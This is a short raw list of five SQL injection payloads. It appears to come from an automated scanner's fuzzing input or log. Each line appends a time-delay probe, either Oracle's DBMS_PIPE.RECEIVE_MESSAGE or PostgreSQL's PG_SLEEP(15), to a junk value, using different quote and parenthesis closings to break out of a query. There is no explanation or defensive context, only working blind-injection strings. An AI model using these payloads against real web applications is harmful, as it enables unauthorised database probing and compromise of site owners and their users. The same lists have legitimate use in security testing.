555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555bR3ztTgn')) OR 120=(SELECT 120 FROM PG_SLEEP(15))--
5552vktLi5W') OR 184=(SELECT 184 FROM PG_SLEEP(15))--
555FEytzNpM' OR 851=(SELECT 851 FROM PG_SLEEP(15))--
555-1)) OR 162=(SELECT 162 FROM PG_SLEEP(15))--